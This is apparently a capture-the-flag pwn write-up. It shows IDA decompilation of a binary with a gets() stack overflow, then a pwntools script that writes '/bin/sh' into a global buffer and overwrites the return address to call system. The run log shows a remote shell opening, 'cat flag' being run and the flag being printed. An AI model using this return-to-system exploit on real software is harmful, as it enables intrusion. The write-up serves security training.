

```

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     setbuf(stdin, 0);
4     setbuf(stdout, 0);
5     setbuf(stderr, 0);
6     hello();
7     puts("thank you");
8     return 0;
9 }

```

```

2 {
3     char *v0; // eax
4     signed int v1; // ebx
5     unsigned int v2; // ecx
6     char *v3; // eax
7     char s; // [esp+12h] [ebp-26h]
8     int v6; // [esp+14h] [ebp-24h]
9
10    v0 = &s;
11    v1 = 30;
12    if ( (unsigned int)&s & 2 )
13    {
14        *(_WORD *)&s = 0;
15        v0 = (char *)&v6;
16        v1 = 28;
17    }
18    v2 = 0;
19    do
20    {
21        *(_DWORD *)&v0[v2] = 0;
22        v2 += 4;
23    }
24    while ( v2 < (v1 & 0xFFFFF0FC) );
25    v3 = &v0[v2];
26    if ( v1 & 2 )
27    {
28        *(_WORD *)v3 = 0;
29        v3 += 2;
30    }
31    if ( v1 & 1 )
32        *v3 = 0;
33    puts("please tell me your name");
34    fgets(name, 50, stdin);
35    puts("hello,you can leave some message here:");
36    return gets(&s);
37 }

```

```

Instruction  Data  Unexplored  External symbol
x IDA... x Pse... x Loa... x Pse... x Sta... x Str
-00000029 db ? ; undefined
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 s db ?
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined

```

```

.bss:0804A064 ; __do_global_dtors_aux+14↑w
.bss:0804A065 align 20h
.bss:0804A080 public name
.bss:0804A080 ; char name[52]
.bss:0804A080 name db 34h dup(?) ; DATA XREF: hello+77↑o
.bss:0804A080 _bss ends
.bss:0804A080
.prgend:0804A0B4 ; =====
.prgend:0804A0B4
.prgend:0804A0B4 ; Segment type: Zero-length
.prgend:0804A0B4 _prgend segment byte public '' use32
.prgend:0804A0B4 _end label byte
.prgend:0804A0B4 _prgend ends
.prgend:0804A0B4
extern:0804A0B8 ; =====
extern:0804A0B8 ; Segment type: Externs
extern:0804A0B8 ; extern
extern:0804A0B8 ; void setbuf(FILE *stream, char *buf)
extern:0804A0B8 extrn setbuf:near ; CODE XREF: _setbuf↑j
extern:0804A0B8 ; DATA XREF: .got.plt:off_804A00C↑o
extern:0804A0BC ; char *gets(char *s)
extern:0804A0BC extrn gets:near ; CODE XREF: _gets↑j
extern:0804A0BC ; DATA XREF: .got.plt:off_804A010↑o
extern:0804A0C0 ; char *fgets(char *s, int n, FILE *stream)
extern:0804A0C0 extrn fgets:near ; CODE XREF: _fgets↑j
extern:0804A0C0 ; DATA XREF: .got.plt:off_804A014↑o
extern:0804A0C4 ; int puts(const char *s)
extern:0804A0C4 extrn puts:near ; CODE XREF: _puts↑j
extern:0804A0C4 ; DATA XREF: .got.plt:off_804A018↑o

```

```

.text:0804854D      public pwn
.text:0804854D      pwn      proc near
.text:0804854D      ; __unwind {
.text:0804854D      push     ebp
.text:0804854E      mov     ebp, esp
.text:08048550      sub     esp, 18h
.text:08048553      mov     dword ptr [esp], offset command, "echo hehehe"
.text:0804855A      call    _system
.text:0804855F      nop
.text:08048560      leave
.text:08048561      retn
.text:08048561      ; } // starts at 804854D
.text:08048561      pwn      endp
.text:08048562
.text:08048562      ; ===== SUBROUTINE =====
.text:08048562      ; Attributes: bp-based frame
.text:08048562
.text:08048562      public hello
.text:08048562      hello      proc near      ; CODE XREF: main+484p
.text:08048562
.text:08048562      s          = byte ptr -26h
.text:08048562
.text:08048562      ; __unwind {
.text:08048562      push     ebp
.text:08048563      mov     ebp, esp
.text:08048565      push     esi
.text:08048566      push     ebx
.text:08048567      sub     esp, 30h
.text:0804856A      lea     eax, [ebp+s]
.text:0804856D      mov     ebx, 15h

```

```

gdb 53c24fc5522e4a8ea2d9ad0577196b2f  vim 8.py
1 #coding=utf8
2 from pwn import *
3 context.log_level = 'debug'
4 p = remote('111.200.241.244',53575)
5
6 system_plt = 0x0804855A
7 bss = 0x0804A080
8
9 p.recvuntil('name\n')
10 p.sendline("/bin/sh")
11 p.recvuntil('here:\n')
12 payload = b'a'*4
13 payload += b'A'*0x26
14 #payload += p32(0)
15 payload += p32(system_plt)
16 #payload += p32(0)
17 payload += p32(bss)
18
19 p.sendline(payload)
20 p.interactive()

```

s 长度为 0x26 溢出后执行 system +/bin/bash

```

~$ python3 8.py
[+] Opening connection to 111.200.241.244 on port 53575: Done
[DEBUG] Received 0x18 bytes:
      b'please tell me your name'
[DEBUG] Received 0x1 bytes:
      b'\n'
[DEBUG] Sent 0x8 bytes:
      b'/bin/sh\n'
[DEBUG] Received 0x26 bytes:
      b'hello,you can leave some message here:'
[DEBUG] Received 0x1 bytes:
      b'\n'
[DEBUG] Sent 0x33 bytes:
      00000000  61 61 61 61  41 41 41 41  41 41 41 41  41 41 41
41 |aaaa|AAAA|AAAA|AAAA|
      00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41
41 |AAAA|AAAA|AAAA|AAAA|
      00000020  41 41 41 41  41 41 41 41  41 41 5a 85  04 08 80
a0 |AAAA|AAAA|AAZ·|····|
      00000030  04 08 0a
      |···|
      00000033
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
      b'cat flag\n'
[DEBUG] Received 0x2d bytes:
      b'cyberpeace{d365284f621b10b73ce6273a07aeae82}\n'
cyberpeace{d365284f621b10b73ce6273a07aeae82}

```